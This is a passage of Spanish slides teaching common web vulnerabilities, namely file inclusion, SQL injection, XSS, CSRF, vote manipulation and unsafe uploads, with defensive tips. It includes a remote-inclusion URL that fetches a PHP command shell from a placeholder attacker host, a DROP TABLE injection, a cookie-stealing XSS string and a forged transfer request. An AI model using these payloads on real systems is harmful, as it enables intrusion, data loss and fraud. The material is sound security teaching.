El documento resume las amenazas más comunes a la seguridad en el desarrollo web, incluyendo inyección SQL, inclusión de archivos remotos y locales, cross-site scripting, cross-site request forgery, enumeración de usuarios y sistemas de votaciones. También describe brevemente cada vulnerabilidad y proporciona ejemplos de cómo podrían explotarse.
2. Amenazas mas comunes
• Inclusión Remota/Local de archivos (RFI/LFI)
• SQL Injection
• Cross Site Scripting (XSS)
• Cross-Site Request Forgery (CSRF)
• Enumeración de Usuarios
• Sistemas de votaciones
• Subida de archivos (falta control de extensiones y tipos)
3. Remote/Local file inclusion
Este tipo de vulnerabilidades permite a un atacan incluir archivos arbitrariamente, tanto local como
remotamente, debido a la falta de validación de los datos ingresados.
index.php
<?
include($seccion);
?>
http://[servidor_victima]/index.php?seccion=http://[servidor_atacante]/shell.txt&&cmd=ls
shell.txt
<?
system($cmd);
?>
http://[servidor_victima]/index.php?seccion=contacto.php
5. SQL Injection
• Ejemplo:
• El pequeño Bobby Tables
La inyección de código SQL es una vulnerabilidad que consiste en el aprovechamiento de la falta de
validación y filtrado de las variables utilizadas en una consulta SQL.
$query_result = mysql_query("SELECT * FROM usuarios WHERE nombre = '" . $nombre_usuario . "'");
SELECT * FROM usuarios WHERE nombre = 'Jorge';
SELECT * FROM usuarios WHERE nombre = 'Jorge';
DROP TABLE usuarios;
SELECT * FROM datos WHERE 'A' = 'A';
$query_result = mysql_query("SELECT * FROM usuarios WHERE nombre = '" . mysql_real_escape_string($nombre_usuario) . "'");
SELECT * FROM usuarios WHERE nombre = 'Alicia';nDROP TABLE usuarios;nSELECT * FROM datos WHERE '-' = '-';
6. SQL Injection
• Pasa en las mejores familias… o bancos
SQL Injection & XSS en RedLink (Home Banking)
Afecto a 33 entidades bancarias (2004)
• Banco Columbia
• Banco de Córdoba
• Banco de Corrientes
• Banco de Formosa
• Banco de la Ciudad de Buenos Aires
• Banco de la Nación Argentina
• Banco de la Pampa
• Banco de la Provincia de Buenos Aires
• Banco de la Provincia del Neuquén
• Banco de San Juan
• Banco de Tierra del Fuego
• Banco del Chubut
• Banco del Tucumán
• Banco Finansur
• Banco Hipotecario
• Banco Industrial
• Banco Macro Bansud
• Banco Mariva
• Banco Municipal de la Plata
• Banco Municipal de Rosario
• Banco Privado
• Banco Sáenz
• Banco Santa Cruz
• Banco Santiago del Estero
• BNP Paribas
• Credimas
• Italcred
• Masventas Cia. Financiera
• Nuevo Banco de Entre Rios
• Nuevo Banco de La Rioja
• Nuevo Banco de Santa Fe
• Nuevo Banco del Chaco
• Sadela Cia. Financiera
7. SQL Injection
• Pasa en las mejores familias… o bancos
SQL Injection & datos por defecto en admin del CMS de Banco XXXX (2007)
8. Cross Site Scripting (XSS)
Es un error que consiste en la falta de validación por parte de la aplicación de los valores pasados a las
variables, por lo que si estas son mostradas en pantalla sin ningún tipo de filtro las mismas podrían ejecutar
código HTML/JS/etc.
Esta vulnerabilidad usualmente es considerada de bajo impacto, pero puede ser muy peligrosa también
dependiendo del enfoque del atacante.
Una forma de evitar esto es haciendo uso de la función htmlentities()
Ejemplo:
http://www.victima.com/buscar.php?s=texto+buscado
http://www.victima.com/buscar.php?s="><script>alert(document.cookie);<script>
11. Cross-Site Request Forgery (CSRF)
POST http://banco.com.ar/transferir.php HTTP/1.1
...
...
Content-Length: 24;
destino=Carlos&monto=500
<img src="http://banco.com.ar/transferir.php?destino=Martin&monto=5000" width="1"
height="1" border="0">
GET http://banco.com.ar/transferir.php?destino=Carlos&monto=500 HTTP/1.1
CRSF fue un termino acuñado por Peter Watkins en el año 2001, pero el primer reporte de esta
vulnerabilidad se dio a conocer en 2000.
La mejor forma de entenderlo es con un ejemplo, y resumiendo esta vulnerabilidad le permitiría a un
atacante ejecutar comandos en un sitio determinado (A) cuando la victima ingresa al sitio (B),
debido a una falta de comprobación del origen de los datos por parte de (A).
Ejemplo:
Una forma de tratar de contrarrestar este tipo de ataques es haciendo uso de tokens asociados a la sesión
activa del usuario.
13. Sistemas de Votaciones
• Big Idea Chair (Yahoo!)
Solos realiza control por cookie.
http://www.bigideachair.com.ar/shortlist2010/shortlist_caso01.php
• Hugo Create (Hugo Boss)
Control por cookie e IP mal implementado haciendo uso de AJAX.
http://www.hugocreate.com/common/php/rpc.php?j=1&q=36119&t=187.219.197.188
Los sistemas de votaciones también suelen ser objetivo de ataques y muchas veces no se realizan
buenos controles por lo que los resultados de las mismas podrían ser fácilmente influenciados.
14. Subida de Archivos
Aquí el problema radica en que muchas veces no se aplican buenos filtros a los archivos a subir, tanto
en tamaño, tipo o extensión; lo que brinda la posibilidad a un atacante de subir su propio código a
nuestro servidor y ejecutarlo pudiendo así ganar acceso a los archivos de nuestro sitio.
.htaccess
<Files ^(*.jpeg|*.jpg|*.png|*.gif)>
order deny,allow
deny from all
</Files>
AddType text/plain .pl
AddType text/plain .cgi
AddType text/plain .php
No permitir la ejecución de archivos donde no se deba.
Los casos mas comunes se dan en los sitios que permiten a los usuarios subir
sus propias imágenes, avatares o documentos.
15. Consejos
• ¡Las claves no se guardan en texto plano!
• Enviar información sensible cifrada
• Utilizar tokens asociados a la sesión del usuario
• No utilizar nombres de archivos muy obvios en
secciones privadas o de acceso restringido.
• Usar el sentido común